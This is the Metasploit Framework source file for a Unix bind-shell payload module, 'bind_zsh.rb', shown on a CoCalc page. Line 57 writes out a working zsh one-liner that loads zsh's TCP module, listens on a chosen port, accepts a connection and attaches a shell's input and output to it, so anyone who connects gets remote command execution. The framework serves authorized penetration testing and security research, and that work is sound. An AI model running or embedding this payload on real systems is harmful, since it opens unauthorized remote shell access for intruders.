CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/bind_zsh.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 99
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Bind TCP (via Zsh)',
17
'Description' => %q{
18
Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
19
often available, please be aware it isn't usually installed by default.
20
},
21
'Author' =>
22
[
23
'Doug Prostko <dougtko[at]gmail.com>', # Initial payload
24
'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
25
],
26
'License' => MSF_LICENSE,
27
'Platform' => 'unix',
28
'Arch' => ARCH_CMD,
29
'Handler' => Msf::Handler::BindTcp,
30
'Session' => Msf::Sessions::CommandShell,
31
'PayloadType' => 'cmd',
32
'RequiredCmd' => 'zsh',
33
'Payload' =>
34
{
35
'Offsets' => { },
36
'Payload' => ''
37
}
38
))
39
register_advanced_options(
40
[
41
OptString.new('ZSHPath', [true, 'The path to the ZSH executable', 'zsh'])
42
]
43
)
44
end
45
46
#
47
# Constructs the payload
48
#
49
def generate(_opts = {})
50
super + command_string
51
end
52
53
#
54
# Returns the command string to use for execution
55
#
56
def command_string
57
"#{datastore['ZSHPath']} -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && #{datastore['ZSHPath']} >&$REPLY 2>&$REPLY 0>&$REPLY'"
58
end
59
end
60
61